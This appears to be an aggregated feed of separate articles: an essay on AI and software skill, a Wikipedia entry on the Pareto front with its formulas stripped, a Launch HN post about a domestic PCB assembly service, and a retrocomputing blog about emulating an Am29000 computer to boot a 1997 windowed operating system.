Same burnt steak you made at home.
Why? Because every restaurant in the city hired the same AI cook.
“Cost optimization,” management says. “Most people won’t notice.”
And they’re probably right. Most people won’t. Most of the time, software only has to be acceptable. Customers tolerate weird interfaces, pointless features, strange bugs, systems held together by generated code nobody actually understands.
But you’ll notice.
You’ll notice because this was something you actually wanted to make.
So you go home disappointed, hungry, a little embarrassed, and pull the cookbook off the shelf. There’s only one option left: learn to cook.
You learn what heat actually does. Which pan matters and why. Why thickness matters, why resting matters, why a timer alone was never going to save you. You ruin a few more dinners. Then you try again. And again.
Eventually you stop depending on luck, you learned it the hard way.
Software works the same way.
AI can make you faster. It automates the repetitive stuff, spits out a starting point, explains code, helps you poke at ideas. What it can’t do is replace your judgment. It can’t define quality for you, can’t decide which tradeoffs are acceptable, can’t always catch the moment when something is technically correct but wrong in every way that matters.
To build good software with AI, you still have to understand software.
You need to know what you’re actually asking for, how to judge what comes back, and when the machine is just confidently serving you charcoal.
Keep learning. Keep building. Keep failing. Do that until you can produce the result you want instead of hoping to stumble into it.
Then get good enough to open your own small restaurant.
Then hire a few AI cooks. Most people still won’t notice the difference.
But you will.




Original: https://blog.sydorets.com/en/posts/almost-no-skill-required-to-cook-a-steak/ · Discussion
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						From Wikipedia, the free encyclopedia

					

In multi-objective optimization, the Pareto front (also called Pareto frontier or Pareto curve) is the set of all Pareto efficient solutions.[1] Colloquially, this means when there are many distinct objectives to consider in an optimization problem, a Pareto front represents the set of solutions where no solution outperforms any other solution in the set at every objective, and every solution not in the set is outperformed by at least one solution in the Pareto front in every objective.[2] The concept is widely used in engineering.[3]:111–148 It allows the designer to restrict attention to the set of efficient choices, and to make tradeoffs within this set, rather than considering the full range of every parameter.[4]:63–65[5]:399–412

Example of a Pareto frontier. The boxed points represent feasible choices, and smaller values are preferred to larger ones. Point C is not on the Pareto frontier because it is dominated by both point A and point B. Points A and B are not strictly dominated by any other, and hence lie on the frontier.
A production-possibility frontier. The red line is an example of a Pareto-efficient frontier, where the frontier and the area left and below it are a continuous set of choices. The red points on the frontier are examples of Pareto-optimal choices of production. Points off the frontier, such as N and K, are not Pareto-efficient, since there exist points on the frontier which Pareto-dominate them.


The Pareto frontier, P(Y), may be more formally described as follows. Consider a system with function , where X is a compact set of feasible decisions in the metric space , and Y is the feasible set of criterion vectors in , such that .


We assume that the preferred directions of criteria values are known. A point  is preferred to (strictly dominates) another point , written as . The Pareto frontier is thus written as:


	



Marginal rate of substitution
[edit]


A significant aspect of the Pareto frontier in economics is that, at a Pareto-efficient allocation, the marginal rate of substitution is the same for all consumers.[6]  A formal statement can be derived by considering a system with m consumers and n goods, and a utility function of each consumer as  where  is the vector of goods, both for all i. The feasibility constraint is  for . To find the Pareto optimal allocation, we maximize the Lagrangian:





where  and  are the vectors of multipliers. Taking the partial derivative of the Lagrangian with respect to each good  for  and  gives the following system of first-order conditions:


	



	



where  denotes the partial derivative of  with respect to . Now, fix any  and . The above first-order condition imply that


	



Thus, in a Pareto-optimal allocation, the marginal rate of substitution must be the same for all consumers.[7]



Algorithms for computing the Pareto frontier of a finite set of alternatives have been studied in computer science and power engineering.[8] They include:


	"The maxima of a point set"

	"The maximum vector problem" or the skyline query[9][10][11]

	"The scalarization algorithm" or the method of weighted sums[12][13]

	"The -constraints method"[14][15][16]

	Multi-objective Evolutionary Algorithms [17][18]




Since generating the entire Pareto front is often computationally-hard, there are algorithms for computing an approximate Pareto-front. For example, Legriel et al.[19] call a set S an ε-approximation of the Pareto-front P, if the directed Hausdorff distance between S and P is at most ε. They observe that an ε-approximation of any Pareto front P in d dimensions can be found using (1/ε)d queries.


Zitzler, Knowles and Thiele[20] compare several algorithms for Pareto-set approximations on various criteria, such as invariance to scaling, monotonicity, and computational complexity.
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Hey HN, we’re Will & Johnny from ProvenMetal (https://provenmetal.com). You send us design files or specs and we give you assembled boards domestically in days.The US produced 30% of PCBs globally in 2000, now they produce 4%. Chinese manufacturers have completely dominated this space at 55% of global production.
Now, the need for a domestic PCB supply chain is higher than ever before, yet the infrastructure has been dissolving over the last 2 decades. What is left is mostly small family run manufacturers (CMs) that have been operating in largely the same, labor intensive way since the early 2000’s.
When you place an order through a CM it typically takes several days to receive a quote and complete design for manufacture review, and then you have to source all of the components (the hardest part) and bare boards yourself, then wait anywhere from a few days to several weeks for the assembly and testing of those boards.
We started off assembling circuit boards out of a garage with prosumer grade equipment (NeoDen YY1, Glenbrook X-ray, solder paste stencils, and manual rework stations). We believed that by owning the manufacturing process, we could turn all the front of house automations inwards. But here’s the thing… manufacturing circuit boards with prosumer grade equipment out of a garage takes a huge amount of time. Suddenly we were spending 90% of our time assembling circuit boards instead of growing the business. We were completely capacity constrained, with fancy software automations that are not the binding constraint at low volumes.
Then we got our heads out of the weeds, took a step back, and realized that we were trying to solve the wrong bottlenecks.
These manufacturers are good at manufacturing and terrible at the front of house (quoting, DFM review, and part procurement). When you look at the full process, you realize that assembly is not the bottleneck. So we stopped trying to solve the problem that we can’t solve at this stage.
We measured the bottlenecks and nailed down the ones that we are best positioned to solve right now.
When a customer wants a domestically manufactured circuit board, it is not a straight forward process. We are making that process easy through front of house automation. A customer gives us their design files, and we automatically procure components, and co-ordinate bare board fabs and assembly houses to get quotes, design review, and manufacturing completed in a very tight loop.
How we solve part procurement (you can’t assemble boards with no parts!): When a user places an order with us, our system automatically sources their bill of materials across US and overseas distributors. However, when we work with customers during the design process, our plug-ins interact with KiCAD and Altium, sending the BOM to our ordering platform, which allows us to automatically procure components before layout is finalized.
KiCAD plugin: (https://github.com/proven-metal/provenmetal-kicad)
Altium plugin: (https://github.com/proven-metal/provenmetal-altium)
This enables us to order long lead time parts in advance, suggest alternatives if parts are out of stock, and solve the biggest bottleneck in the process. We store parts in our hq in SF, and then kit the boards and route them through our network. We also do long term storage of parts for long lead time items.
How we solve endless emails: Every manufacturer wants the same information in a different shape. There’s usually a few days of back and forth emailing to achieve clarity. We’re building a profile per manufacturer and sending the order to fit their requirements. This may sound trivial but it removes a multi-day round trip on most orders, which on a quick-turn build is a meaningful share of the time.
How to solve design review: Each manufacturer has individual capability sheets, and so we have a heuristic harness that Fable 5 uses to check the board for DFM issues. We’re building a streamlined process for end-to-end pcb manufacturing, but is that enough to solve the supply chain? Not a chance. Capacity is the problem, and no amount of smart software will solve it. We’re extracting real slack from the system today, that slack is finite, and at some volume the only remaining move is adding physical capacity. We think that’s where this goes.
We charge a simple margin on the order value depending on order complexity with fully transparent quote breakdowns. We took our first paying order in less than a week and we’ve done roughly $70k across 11 orders in 6 weeks.
We are very interested in your opinion. We’re working in a problem space that has problems everywhere, we’re constantly pulled in wild directions regarding which problems we solve and how we go about solving them. What do you know that we can learn from?


Original: https://provenmetal.com · Discussion
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by Oscar Toledo G. Jul/30/2026

[image: My emulated windowed operating system running in G11V1 (Am29000 homebrew computer)]

Once upon a time in the mysterious lands of Mexico, starting in Fall 1996 and through Spring 1997, I coded a windowed operating system in 32-bit machine code, fit it into a floppy, and jumped in excitement as it boot up.



Of course, I knew it was a great thing because you couldn't boot Windows 3.1 or GEM from a floppy disk, but I was very far from knowing how so cool it was. Unfortunately, not a thing I could give away for everyone to see, as it was written for a homebrew computer based on the Am29000 processor.



Let’s go back to my memories, some notes, and the ride of discovering again what I forgotten.


The world's fastest processor


If you've been following my series of articles on transputer, I was feeling very satisfied with my operating system, and I had reached the limits of the system. My father on the other side was busy developing a new computer system based on a new 32-bit processor. Well, in 1994 it was only new for us. The AMD Am29000 processor came out in 1987, also announced as the world's fastest processor (do you see a meme here?) and it could process one instruction every cycle, so indeed it was fast.


[image: The AMD Am29050 processor]

The Am29000 processor and its successor the Am29050, were used in several Postscript language add-ons for printers, video NuBus cards for Quadra Macs, arcade games like F-15 Strike Eagle and Battle of the Solar System (both by Microprose), and I read in the Wikipedia it is also inside avionics in dual-processor boards for redundancy.



This speed was based on a ton of assumptions, like having speedy enough RAM or ROM, or having very high-speed TTL chips. And all three were still very expensive in the early 1990s. Besides some bus design decisions for the Am29k family like a separate data and instruction bus made it really cumbersome to interface it. At the end, doing anything useful with the Am29k required DRAM memory, and it was slow, and then all the advantage was lost. 



However, my father was confident in static RAM memory and he sourced dozens of 128KB static RAM chips with 8-bit bus. Surface mount started to making an appearance and several of these were built with four 32K RAM chips mounted in nice miniature green boards.



So the first Am29000 computer made by my father ran at 6 mhz, and it had the whooping memory capacity of 512 KB of RAM, along 128 KB of EPROM (using two 16-bit chips). It had ISA connectors, and the video was a Cirrus Logic GD5429 card, along a standard parallel/serial/floppy-disk controller card (multiport card), and reused the keyboard chip from an old PC to interface AT keyboards. This computer was called G11.



It was a team work, he did some initial programming to start the processor, I translated my Z280 code for initializing the Cirrus Logic VGA, made the keyboard decoder, and the disk routines. Once this was stable, I went ahead to work in the monitor program for listing the memory, saving data, and as the instruction set was complicated enough, I also integrated a micro-disassembler and a micro-assembler. This means we could code with real mnemonics, although no labels could be used, also moving code was a complete pain.



We needed to return to the Z280 machine to program the EPROMs, but everything was going really well. I stumbled in the dark reality that I needed to port everything from the Z280 machine to this machine, it was like 200 programs between applications, utilities, and games. Besides the Z280 programs were basically outdated, I couldn't replicate the same.


[image: The G11V2 computer internals.]


I wanted a G11V1 picture, but there were no digital cameras before 1999 and I don't know where is the machine. So this is a picture of a G11V2 computer, you can see four 512KBx8 memories and it has already PCI bus (not present in the G11V1).


Intermission


As the G11 computer was finished, my father took over it and started to investigate how every processor special register worked or why it had certain values, and writing documentation about it. I was somewhat startled, because I believed the processor was already documented in its databook, and I wasn't interested in undocumented behavior, but anyway, I ended typing all his notes and printing them.



I could concentrate on the transputer now that it was available for my use, and I switched ocasionally to the G11 computer when it was free in order to enhance the floppy disk operating system, I started coding some games, a text editor that handled our new Canon BJC-600 bubblejet printer, and even a MSX emulator. This was the first time I could see Gradius running, I was hooked.



I was recreating my Z280 programs, and I felt like I was going backwards when I had already an advanced operating system in the transputer. In the meanwhile, Windows 3.1 looked more useful with all its icons in shrill colors, a product of the palette inherited all the way from CGA.



I was interested in discovering how to do a windows system, but I couldn't get my hands on a programming book for Windows 3.1. Local libraries were still filled with tons of Turbo-C, Turbo-Pascal, Quick-BASIC, and QBasic books. Finally, I got a discount book about OS/2 programming, and I started to read it. The author did an excellent work introducing OS/2, and it was easy: open a window, draw in the window, close the window. 



The real discovery was... *badum-tss* the message pipeline. Every process with windows has a message pipeline, and when you create a window you should assign it a kind of interface handler (the window class), and this handler reads the messages and it does operations according to the user’s interactions. 



The user’s interactions are simple for starters, a message indicating a click from the mouse, a message for moving the mouse over the window, and then things start to get complicated with double-click messages. You can create windows inside windows, but these are controls like buttons, slide bars, icons, indicators, status bars, etc. And these controls can send messages back.



The beauty of this is that you could develop user interfaces very fast, and every single program looks great (well, in the 90s we weren't really too exigent, as Digital Research’s GEM can testify)


[image: A box shipped from AMD to us.]


While researching for this article, I discovered I still had a box where AMD shipped two databooks. Someone dropped it at post office in June 7, 1990.


The windows system


First, I needed multitasking. I found this daunting and complicated, and I ended learning how to do cooperative multitasking. It saved the current state, loaded the new state, and jumped to the new place. Sorry, operating system designers, I didn't think about it. I just wanted it to work.



Second, I needed windows. I scratched my head really hard thinking how to overlay things one over another. Then while I was reading file after file of a new CD-ROM bought by my father, I discovered X11R5. In case you didn't know, X11 is a networked windowing system designed to work with almost any graphic terminal, and as universities had a lot of different hardware, it should work on all of them. Of course, this means it was extremely clumsy for handling color or games.



The important thing here is that the CD had the complete source code for X11R5. Of course, I couldn't find use for it as my computer didn't had a network, nor a C compiler, but instead a single source code file was enlightening: XRegion.c.



    The algorithm's basic concept is that every single window has a rectangle display list. If a window isn't overlapped then the rectangle covers the whole window. If a window is overlapped, cut the overlapped rectangle, and continue cutting every overlap. This means that if a rectangle is cut in the middle, it creates four rectangles, and for displaying information, you should try drawing in the four rectangles. So a heavily clipped window is slowly drawn. By the way, Apple has a trick for this, it uses a clipping bitmap, but it is a patented technique. 



Third, I created an extremely simplified API specification in my notebook based on what I learned from the OS/2 book, and this made coding a lot easier. While OS/2 (and Windows 3.1) use a graphical context for drawing with pen types and fill patterns, I considered this too cumbersome, and you draw directly in the window in pixel units.


[image: The specification of the first few functions of my windowing system.]


Specifications of the first few functions of my windowing system.


[image: User interface design for the debugger (Depurador)]


User interface design for the debugger (Depurador)



With these three pieces I started coding my windowing system in machine code starting in Fall 1996 thru Spring 1997, I was age 18, and I really never thought that my micro-assembler worked against me. It was easy to use, and I could code routines very fast, and then my micro-disassembler showed me exactly the same I wrote. I just needed to write some pointers in paper, but unfortunately this wasn't exactly source code.



This article is possible because I have two disks with the early machine code version from 1997. I know I had something good, even if primitive, as no other windowed operating system boot up from a floppy disk, but it is impossible someone else could experience it without an Am29000 computer. So let’s code an emulator!


The 1997 disks


The main directory of the bootable disk looks like this:


[image: The directory of the bootable disk.]


The directory of the bootable disk. The ESPEJO.IMG is the dump, and the folders have the date of the restore.


[image: Two floppy disks of 1.44mb capacity with my windowed operating system and programs.]


Two floppy disks of 1.44mb capacity with my windowed operating system and programs.



My first task was writing an Am29000 emulator. I have the user's manual somewhere, but instead of losing time searching for it, I lost time searching for it in Google, and nothing available. I was surprised, because it was available a few years ago, anyway, I went to archive.org and I got it pretty easily after typing the chip number.



I consider the relational-assert instructions the biggest waste of silicon space in the Am29k series of processors. I suppose the designers had a use case because the military required the Ada language, but I'm just speculating.



Another curious idea is the result value for the comparison operators, a boolean value of 0 and 0x80000000, and the conditional jumps check only the high-bit to jump, so you need to do a 31-bit shift to the right in order to get the C language boolean value.



The addition and subtraction instructions also come with extra baggage. In this case, the processor generates a trap if the result exceeds an unsigned value, or a signed value. This means there is 
ADD, and also 
ADDU, and 
ADDS. If we consider the carry flag, it increases to another 3 instructions: 
ADDC, 
ADDCU, and 
ADDCS.




The subtraction instruction has a set with reversed operands, so we have 
SUB, 
SUBU, 
SUBS, 
SUBC, 
SUBCU, 
SUBCS, but also 
SUBR, 
SUBRU, 
SUBRS, 
SUBRC, 
SUBRCU, 
SUBRCS. Maybe I'm not too smart to see how to use 
SUBRCU.



Where is everything?


I used to believe I could remember everything, but apparently my brain disagrees. I've these two floppy images, but where is it loaded? Fortunately, I put a boot message saying "Arrancando", and the code pointing to this message are these two instructions:


CONST gr68,0x0180
CONSTH gr68,0xbfff


This means the boot data should be loaded at 0xbfff0000. It doesn't means I had so much memory (the RAM starts at 0x80000000), it just used the mirroring feature of the RAM decoder to always put the boot code in the higher 64KB of RAM. Also I could see by the byte-order of instructions that all of the code was big-endian. The Am29000 processor allows to choose the endianness with a bit in the configuration register.



With the emulator in development, I started running it with the disk image. To my dismay, I discovered I made a nice boot screen that required ROM routines that I don't have at hand (handling box drawing, icon display, disk reading, and the preliminary setup of processor registers), so I made a patch to jump over these, and the loader ran complete until it jumped into the void at 0x80000000, as nothing had been loaded.



I made a phantom ROM that reads the disk using a special instruction coded in the emulator, and returns on unhandled services.



The incomplete emulator behaved really well and it loaded the initial code for my windows system, and then it stopped with an unhandled instruction 0xe2. I was mystified because no instruction was shown in the Am29000 User’s Manual, until I got the Am29050 one. Silly me! It is the 
MULTIPLU instruction.




The Am29000 manual is obsolete in the definition of trapped instructions. When AMD created the Am29050 with floating-point support and hardware multiplication instructions, they redefined the trapped instruction set. For example, the opcode 0xe4 is 
CVINTF in the Am29000 User’s Manual, but it is 
CONVERT in the Am29050 manual, and AMD provided a math emulation library to allow Am29000 processors to run Am29050 software using these new opcodes. I considered it was overkill to write an Am29050 emulation (maybe later), so I limited myself to Am29000 because I find fun how they implement the multiplication instruction using a trap and 32 continuous 
MUL instructions (bit-shifting all the way).




By the way, we got our Am29050 processors as samples directly from the Mexico representative for AMD. I took note of the date in my notebook, April, 8, 1997. Unfortunately, the same year that AMD was struggling, and dropped the AM29k line in order to make the K5 processor, and this way the processor war with Intel started.



After a brief disagreement with my interpretation of the vector table, I finally managed to get the 
MULTIPLU instruction to trigger a trap for emulation, and I ran to implement the 
MUL instruction, just to get an infinite loop of multiplication traps. It happens that in order to return from a trap, you must rebuild two PC registers!!! Updating just one of these made my code to rerun itself again, and also the trap set the wrong return address.




I had to correct these bugs, and when running the emulator again, it exit the multiplication routine directly to an overflow trap *clown face* And indeed there was an overflow, because it was reading memory that I don't remember what contained when booting the machine. I put some guessed values until it reached the 
IRET instruction, meaning it could return from the emulated instruction.




It worked, and then stopped on the unimplemented 
DIV instructions. I certainly had my doubts about the instruction bit process, but I implemented the algorithm as described in the manual.




I reached a point of the original code where it started reading bytes from memory further requiring another bit to implement (to set the internal byte pointer), along the 
EXBYTE, 
EXHW, and 
EXHWS instructions to extract bytes, unsigned half-words, and signed half-words.




Soon came the 
INBYTE and 
INHW instructions, and also were implemented.



What is this?


For some reason I read a port 0x90 deep into the system initialization, worst. It waits for the bit 7 to turn on... I don't know what it is! I just put a 0x80 byte for that exact port. BTW, reading ports uses a special 
LOAD control 0x41. The normal ones for memory are 0x04 and 0x14 (for bytes or half-words).




PC=0x80020954 CONST gr97,0x0010
PC=0x8002094C CPLT gr96,gr82,0xc8
PC=0x80020950 JMPF
PC=0x80020954 CONST gr97,0x0010
PC=0x8002094C CPLT gr96,gr82,0xc8
PC=0x80020950 JMPF



Excellent! It got stuck in a loop checking a register that never changes, except that obviously it should change, but it could only happen if interrupts are processed. Of course! I forgot completely there is a time reference for context switching, the internal Timer register of the Am29000 processor. This in turn could give light on the early use of 
MULTIPLU and 
DIVIDU instructions, probably getting the timer value to load.




I added a code to trap access to the timer registers, and I got this:



PC=0x80008F3C DIVREM
PC=0x80008F40 MFSR gr0,0x83
PC=0x80008F44 MTSR 0x83,gr74
PC=0x80008F48 MFSR gr74,0x02
PC=0x80008F4C CONST gr73,0x0400
PC=0x80008F50 OR gr74,gr74,gr73
PC=0x80008F54 MTSR 0x02,gr74
PC=0x80008F58 MTSR 0x84,gr79
PC=0x80008F5C MTSR 0x0c,gr78
PC=0x80008F60 MTSR 0x0b,gr77
PC=0x80008F64 MTSR 0x0a,gr76
PC=0x80008F68 IRET
PC=0x8000C100 CONST gr97,0x0000
PC=0x8000C104 CONSTH gr97,0x0100
PC=0x8000C108 OR gr96,gr96,gr97
PC=0x8000C10C MTSR 0x09,gr96
Catch! Timer counter
gr1=0xbfffefa8
gr64=0x80000000 gr65=0x00000046 gr66=0x005b8d80 gr67=0x00000001
gr68=0x00002710 gr69=0x00000000 gr70=0x00000000 gr71=0x00000000
gr72=0x00000000 gr73=0x00000400 gr74=0x0000057f gr75=0x00000000
gr76=0x8000c0fc gr77=0x8000c100 gr78=0x80002300 gr79=0x00000200
gr80=0x00000000 gr81=0x00000000 gr82=0x00000000 gr83=0x00000000
gr84=0x00000000 gr85=0x000597e8 gr86=0x80021800 gr87=0x00000000
gr88=0x00000000 gr89=0x00000002 gr90=0x00000000 gr91=0xffff0000
gr92=0xffff0000 gr93=0x80004020 gr94=0x80004120 gr95=0x00000000
gr96=0xffffffff gr97=0x01000000 gr98=0x00000000 gr99=0x80022818



My division instruction doesn't work, so the value that is going to be loaded is nuts (gr96 = 0xffffffff).



I could see before that the clock value probably should be in cycles per second, because the division is by 10000.



PC=0x8000C0F4 CONST gr97,0x2710
PC=0x8000C0F8 MTSRIM 0x83,0x0000
PC=0x8000C0FC DIVIDU gr96,gr96,gr97



I had to write a routine to dump the half-megabyte RAM so I could examine it. It happens the computer speed was hard-coded into the operating system, 6000000 or 6 mhz. So where the value gets lost? I went in a debug spree for around three hours!



It wasn't a mistake in the routine, instead it was a bad macro invocation in my emulator. I used 
RA instead of 
REG_A, and the macro was valid but gave wrong data. I renamed that evil macro to 
_RA to avoid mistakes in the future.



Let's code interrupts!


The timer is decremented in each processor cycle, so it is easy to implement as most instructions are one cycle long, with the exception of traps, and 
LOADM and 
STOREM instructions.




I implemented the counter reload, and made it to create an interrupt. Ran again the emulation, watched how it entered the first loop, and it exit correctly when the timer counted. Now it entered a different loop trying to read the port 0xfd0. Remember, this was connected to an ISA bus, but there wasn't an easy way of decoding the lower two bit addresses, instead my father wired processor A2 to ISA A0, and this went successively. So 0x0fd0 / 4 = 0x03f4, the port for the disk controller.



PC=0x80020A68 CONST gr97,0x0fd0
PC=0x80020A6C LOAD 0,0x41,gr97,gr97
Reading from port 0x00000fd0
PC=0x80020A70 AND gr97,gr97,0xc0
PC=0x80020A74 CPEQ gr97,gr97,0xc0
PC=0x80020A78 JMPT gr97,
PC=0x80020A7C ASEQ
PC=0x80020A80 ASEQ
PC=0x80020A84 ASEQ
PC=0x80020A88 ASEQ
PC=0x80020A8C ASEQ
PC=0x80020A90 ASEQ
PC=0x80020A94 ASEQ
PC=0x80020A98 JMPFDEC gr98,
PC=0x80020A9C ASEQ
PC=0x80020A68 CONST gr97,0x0fd0
PC=0x80020A6C LOAD 0,0x41,gr97,gr97



Up to this point, the disassembly generated by my debugger missed some information, so I added the addresses for the jumps, and the 
ASEQ instructions with identical registers as operands were replaced with 
NOP mnemonics, as this is the way to create a 
NOP instruction.




After stopping the debug in the first access to floppy disk, I discovered it was very simple. It was trying to turn on the disk motor, and that's the cause it was checking the interruption count in gr82, in order to spindle the motor.



I wasn't going to write a Floppy Disk Controller chip emulation (although I was close because I searched for the NEC 765 datasheet), but patched it to call the emulator directly.



So far two days writing and debugging 1500 lines of source code. 


The obsolete floppy


Trivia time. Do you recognize the following command numbers in the CPEQ instructions?



0xBFFA0868: 0x01ff60fe  CONSTN gr96,0xfffe
0xBFFA086C: 0x60618260  CPEQ gr97,lr2,gr96
0xBFFA0870: 0xa4ff61d5  JMPF gr97,0xbffa07c4
0xBFFA0874: 0x70400101  NOP
0xBFFA0878: 0x25010140  SUB gr1,gr1,0x40
0xBFFA087C: 0x5e40017e  ASGEU 0x40,gr1,gr126
0xBFFA0880: 0x15810160  ADD lr1,gr1,0x60
0xBFFA0884: 0x16146094  LOAD 0,0x14,gr96,lr20
0xBFFA0888: 0x0b606000  EXBYTE gr96,gr96,0x00
0xBFFA088C: 0x6161601a  CPEQ gr97,gr96,0x1a
0xBFFA0890: 0xac0161f1  JMPT gr97,0xbffa1054
0xBFFA0894: 0x61616025  CPEQ gr97,gr96,0x25
0xBFFA0898: 0xac0161be  JMPT gr97,0xbffa0f90
0xBFFA089C: 0x61616012  CPEQ gr97,gr96,0x12
0xBFFA08A0: 0xac016186  JMPT gr97,0xbffa0eb8
0xBFFA08A4: 0x61616000  CPEQ gr97,gr96,0x00
0xBFFA08A8: 0xac006112  JMPT gr97,0xbffa08f0
0xBFFA08AC: 0x61616003  CPEQ gr97,gr96,0x03
0xBFFA08B0: 0xac026117  JMPT gr97,0xbffa110c
0xBFFA08B4: 0x61616028  CPEQ gr97,gr96,0x28
0xBFFA08B8: 0xac02612c  JMPT gr97,0xbffa1168
0xBFFA08BC: 0x6161602a  CPEQ gr97,gr96,0x2a
0xBFFA08C0: 0xac0261be  JMPT gr97,0xbffa13b8
0xBFFA08C4: 0x70400101  NOP
0xBFFA08C8: 0x70400101  NOP
0xBFFA08CC: 0x70400101  NOP
0xBFFA08D0: 0x70400101  NOP
0xBFFA08D4: 0x70400101  NOP
0xBFFA08D8: 0x03006002  CONST gr96,0x0002
0xBFFA08DC: 0x03006100  CONST gr97,0x0000
0xBFFA08E0: 0x15010140  ADD gr1,gr1,0x40
0xBFFA08E4: 0x70400101  NOP
0xBFFA08E8: 0xc0000080  JMPI lr0
0xBFFA08EC: 0x5641817f  ASLEU 0x41,lr1,gr127



This hand-coded assembler routine handles the floppy drive unit. Instead of accessing it directly, it is abstracted so the operating system handles all drives with the same interface, and these are SCSI commands.



	0x1a - Mode Sense.

	0x25 - Read Capacity.

	0x12 - Inquiry.

	0x00 - Test Ready.

	0x03 - Request Sense.

	0x28 - Read 10.

	0x2a - Write 10.




Notice how the routine returns two status values at the same time. A thing you can do easily in assembler, but not possible with the C language.



This software elephant is built from several machine code modules. One of these is the floppy disk controller, disguising as SCSI unit -2 (that's right, negative 2) because units 0 to 7 are for real SCSI drives, all the way inherited from my transputer operating system. And in turn the ports 0x90 and 0x94 were connected to a Western Digital WD33C93 SCSI controller, I’m wondering what happened with these hard drives.



Notice also the extra instruction after 
JMPI lr0 it is a delay-slot instruction. Every jump or call in the Am29000 processor has this space for an instruction that is executed before doing the branch.



Sunday morning


After coding a SCSI emulation for the floppy disk, patterned loosely on the machine code, I ran again the emulator expecting it to start reading the following files for completing the boot pattern, but instead it only checked the floppy disk capacity and crashed silently somewhere.



It is way easier when it triggers an undefined instruction, but it ran in circles around the crash. Going thru the debug log I discovered it expected a 0x42 value from the port 0x94, so I gave it, and the execution advanced again and crashed.



This time it initialized the serial ports!!! In case you don't remember we used to have COM1 to COM4 located at I/O addresses 0x03f8, 0x2f8, 0x3e8, and 0x2e8 respectively. Once I implemented a stub, a crash happened when trying to access the drive to load a file. I tracked the file name to the address 0x8000bd20. This is the mirrored dump:



bff8bd20: 0058003a 002f0053 00690073 00740065  006d0061 002f0043 006f006e 00740072
bff8bd40: 006f006c 00610064 006f0072 00650073  002f0056 00690064 0065006f 002f0043
bff8bd60: 004c002d 00470044 00350034 00320039  00200038 00300030 00780036 00300030
bff8bd80: 00780036 0034006b 0000



It says "X:/Sistema/Controladores/Video/CL-GD5429 800x600x64k" as you can see each letter is half-word, very bold for a system with 512 KB of RAM, but then I was pretty sure Unicode was the future (yep, that was a good prediction!) This is the video controller name, and the Cirrus Logic GD5429 was a very popular VGA card then.



    The X drive letter was my "magic" letter that was replaced by the boot drive. The problem was the start drive set to J (address 0xbffffbf0). I tracked it back to the start of the boot code and it read a location 0xbfffffdc without a valid value, I tested first zero, and the start drive changed to C. After some reverse engineering I saw the value 0x40 put the correct start drive A.



I had to add the 
LOADM and 
STOREM instructions as these handle the spilling of local registers to memory when the register stack is full, and the 
MULU, 
MULTM, and 
MULTMU instructions, these last two are traps.




The organization of registers is per the AMD recommendations, using the "global" global registers gr64-gr95, and for procedures the "local" global registers gr96-gr127. Furthermore, the stack frame is cached in registers lr0-lr127. Only big structures get into memory using gr125 as stack pointer, so you have dual stack pointers (gr1 and gr125).



The new debug log displayed the sequence of searching for the video controller:



Reading sector 0, length 1
floppy_scsi: executing command $28
Reading sector 8, length 8
floppy_scsi: executing command $28
Reading sector 16, length 8
floppy_scsi: executing command $28
Reading sector 24, length 8
floppy_scsi: executing command $28
Reading sector 40, length 8
floppy_scsi: executing command $28
Reading sector 72, length 8



And then a crash. I could see how it opened the file, initialized the buffers, and then call the read operation for the file system.



  260603 PC=0x8000FC7C ADD gr96,lr4,0x20
  260604 PC=0x8000FC80 LOAD 0,0x04,gr96,gr96
  260605 PC=0x8000FC84 JMPI gr96
  260606 PC=0x8000FC88 NOP
  260607 PC=0x80010030 ASGEU 0x40,gr1,gr126
  260608 PC=0x80010034 ADD lr1,gr1,0x44



It can be seen the jump is one word ahead of the right address, it is missing the 
SUB gr1,gr1 instruction. Immediately, I figured that the problem was reading from the PC1 register of the processor to get a relative address, for example 
MFSR gr96,PC1.




I discovered to my great horror that my PC registers were backwards, PC0 should have pointed to the next instruction, while PC1 should have pointed to the current instruction. Furthermore, the correction disrupted my trap handling code.



After going over it, I found a way to make it elegant and understandable. As this is a static processor, there is a non-described behavior of previous and after values for program counters. Now when decoding an instruction, it automatically reads the instruction from PC1, and saves the current PC0, PC1 and PC2 in the processors registers (the right values for returning from traps), and then the shadow PC counters change place so the shadow PC0 can get a new address for jumps (remember each jump has a delay slot).



The rewriting of the code allowed the emulation to load the video controller from the floppy disk, and go far than ever by trying to erase the video memory:



  296854 PC=0x800273A8 MTSR 0x02,lr6
  296855 PC=0x800273AC CONST lr2,0x0000
  296856 PC=0x800273B0 CONSTH lr2,0x0028
  296857 PC=0x800273B4 CONST lr3,0x00ff
  296858 PC=0x800273B8 STORE 0,0x00,lr3,lr2
Unhandled memory control 0x1e008382



The special value 0x00 instructed the Am29000 to access the ISA memory bus (control value different from 0x04 for the internal memory, or 0x41 for the I/O ports). I'm so close to see something on the screen!


The human’s memory is blank


I had a small problem, I didn't remember how the video RAM memory was mapped! And I noticed immediately there were acceleration routines specific for the Cirrus Logic GD5429, in particular the hardware cursor. I never could knew I was making more difficult the work of my future myself!



This card in particular had 1 MB of video RAM (a real monster in the 90s!) allowing for 800x600 pixels in 16-bit color.



It could take me several days to write a small emulation of everything I needed! I tried looking for an emulation of Cirrus Logic GD5429, and I found qemu and pcem already handled that. Both are open source too, but the emulation code is incredibly dependent on several other structures required for easier and faster emulation. In particular, the include files call for other files totally unrelated, like the timing structure used in their emulators, or the PCI support that I didn’t required.



I tried a whole day to adapt one of these but I found the task was daunting and taking more than my available time. I could develop my own emulation for the handful of functions used by my operating system, so I went to download the CL-GD5429 Technical Reference Manual.



It shouldn’t be too complicated, taking any access to CRTC, Graphic Controller, Attribute Register, and Sequencer Registers, saving these in an array, and catching accesses for the video memory, cursor memory, and acceleration registers.



I made also a debug output of the video registers, and I had a blast of good memories reading again the technical manual (at the time I had it printed because PDF viewing was slow!) and I could determine the register where the 5-6-5 RGB mode was setup (value 0xe1)



Cirrus Logic made easy the access to video memory allowing to write eight pixels with a single byte write. This is because it expanded the write to take pixel data from the extended graphic controller registers, and also it could be masked so you could put a bitmapped letter without affecting the background.



However, it also allowed to change mappings in the fly to a planar memory where you could deposit 16-bit pixels directly into video RAM. As the RAM window is 128 KB wide, there is a banking register scheme.



  652102 PC=0x80027DEC CONST gr100,0x0f38
  652103 PC=0x80027DF0 CONST gr97,0x000b
  652104 PC=0x80027DF4 STORE 0,0x42,gr97,gr100
  652105 PC=0x80027DF8 ADD lr4,lr18,0x00
  652106 PC=0x80027DFC SUB lr2,lr17,0x02
  652107 PC=0x80027E00 SLL gr96,lr15,0x05
  652108 PC=0x80027E04 SLL gr98,gr96,0x03
